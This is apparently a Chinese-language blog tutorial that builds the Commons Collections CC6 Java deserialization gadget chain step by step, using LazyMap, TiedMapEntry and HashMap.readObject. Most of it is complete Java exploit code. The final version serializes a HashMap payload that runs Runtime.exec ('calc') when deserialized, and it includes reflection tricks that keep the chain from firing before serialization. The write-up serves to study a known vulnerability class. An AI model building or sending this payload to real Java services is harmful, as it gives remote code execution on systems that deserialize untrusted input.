java web

cc6

CC6

CC6链其实就是URLDNS链的前半加上CC1链的后半。

image-20251129230054718

1.将ChainedTransformer传入并通过decorate()方法获取到LazyMap对象

链子出口依旧是

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ChainedTransformer.transform()->InvokerTransformer.transform()->Runtime.exec()

然后我来找来到了LazyMap的get方法

image-20250911212446569

分析一下这个get

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public Object get(Object key) {
    // 1. 检查 key 是否存在于 Map 中
    if (map.containsKey(key) == false) {
        // 2. 如果 key 不存在，调用 factory.transform(key) 生成 value
        Object value = factory.transform(key);
        // 3. 将 (key, value) 存入 Map
        map.put(key, value);
        // 4. 返回新生成的 value
        return value;
    }
    // 5. 如果 key 已存在，直接返回对应的 value
    return map.get(key);
}

意思就是如果key不在Map中，则会自动生成一个值并存入key，否则就会返回已有的值，这里可以看到是根据factory.transform方法生成value的，如果能控制factory的值为ChainedTransformer，就可以实现命令执行，但是往上翻源码，发现factory是protected类型，不可控

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    protected final Transformer factory;

但是发现factory是在LazyMap的构造函数中可赋值

image-20250911213036456

但是怎么调用？可以通过decorate()方法获取到

image-20250911213148569

所以现在的exp是

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package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;

public class cc6 {
    public static void main(String[] args) {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        lazyMap.get("key");
    }
}

image-20250911214230884

2.利用TiedMapEntry类中的hashCode调用getValue()方法调用get

然后看谁调用了get方法,在TiedMapEntry类里找到了它的getValue()方法里调用了get：

image-20250911214827736

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    public Object getValue() {
        return map.get(key);	//此处map如果是LazyMap，就可以完成链子
    }

但是发现map也是不可控的

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private final Map map;

但是发现一个公共的方法可以控制map

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    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

那我们直接用反射去构造一个TiedMapEntry实例化对象，所以代码是

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        tiedMapEntry.getValue();
    }
}

image-20250911222824915

好，接下怎么调用getvalue,这个好找，就在这TiedMapEntry有个hashCode调用了。

image-20250911224119979

显然，由于给key赋值了，这里的getKey与value都不会是null，即无条件调用getValue方法，所以直接触发这个方法就行了

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由于TiedMapEntry的hashCode方法调用了getValue，getValue调用了get方法，所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        tiedMapEntry.hashCode();
    }
}

谁调用hashcode？

3.利用HashMaph中的hash调用hashcode

这一联想之前的URLDNS链，想到HashMap里有

image-20250912235627236

而这个key是在HashMap类的readObject方法来的（可以查看hash的调用）

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private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

序列化的时候可以用HashMap的put方法传key和value

image-20250913003552551

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public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

但是HashMap的put方法会提前调用hash方法，导致提前走完流程

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        map.put(tiedMapEntry, "value");//HashMap类是readObject入口。所以这个map就是HashMap new的对象
    }
}

image-20250913003835241

4.反射设置LazyMap的factory值防止put提前触发hashcode

由此知道put方法会调用hash函数导致提前调用hashCode方法，从而在序列化前就命令执行，在URLDNS链中我们是将 把hashCode字段设置为1，put之后再改成-1，让后序反序列化触发它。

这里一样，通过反射来修改put里的key，这里就是tiedMapEntry，而tiedMapEntry里放的LazyMap，所以我们只需要把LazyMap里的factory改成空就行了

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候，把factory属性随便写个没用的Transformer

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空，就不会触发hash


        Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
        Field factory = lazyMapClass.getDeclaredField("factory");   //获取LazyMap对象的类中的factory属性
        factory.setAccessible(true);//因为factory是private的变量，所以需要设置
        factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer

        serialize(map);//在序列化的时候factory值又变成了chainedTransformer
        unserialize("cc6.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}

5.移除LazyMap中get的key

但是这里执行不了，原因在LazyMap中的get方法

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public Object get(Object key) {
    if (map.containsKey(key) == false) {             //注意这里需要LazyMap的factory属性是空，这里我们后面再说。
        Object value = factory.transform(key);           //此处的factory如果是ChainedTransformer，就可以完成链子
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

image-20250913225926455

序列化前的操作：如果map没包含这个key，那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了，所以不会执行factory.transform(key)，从而导致无法命令执行。

所以，我们需要在hashMap.put之后，把lazymap的key删除掉

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lazymap.remove("key");

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象，并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候，把factory属性随便写个没用的Transformer

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空，就不会触发hash
        lazyMap.remove("key");


        Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
        Field factory = lazyMapClass.getDeclaredField("factory");   //获取LazyMap对象的类中的factory属性
        factory.setAccessible(true);//因为factory是private的变量，所以需要设置
        factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer

        serialize(map);//在序列化的时候factory值又变成了chainedTransformer
        unserialize("cc6.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}

image-20250913232046221

链子顺序是

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HashMap.readObject()
HashMap.hash()+
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

JAVA反序列化——CC6链 - Infernity’s Blog

Java反序列化CC6链

Java反序列化漏洞-CC6链分析 - CVE-柠檬i - 博客园

Emo
谢谢观看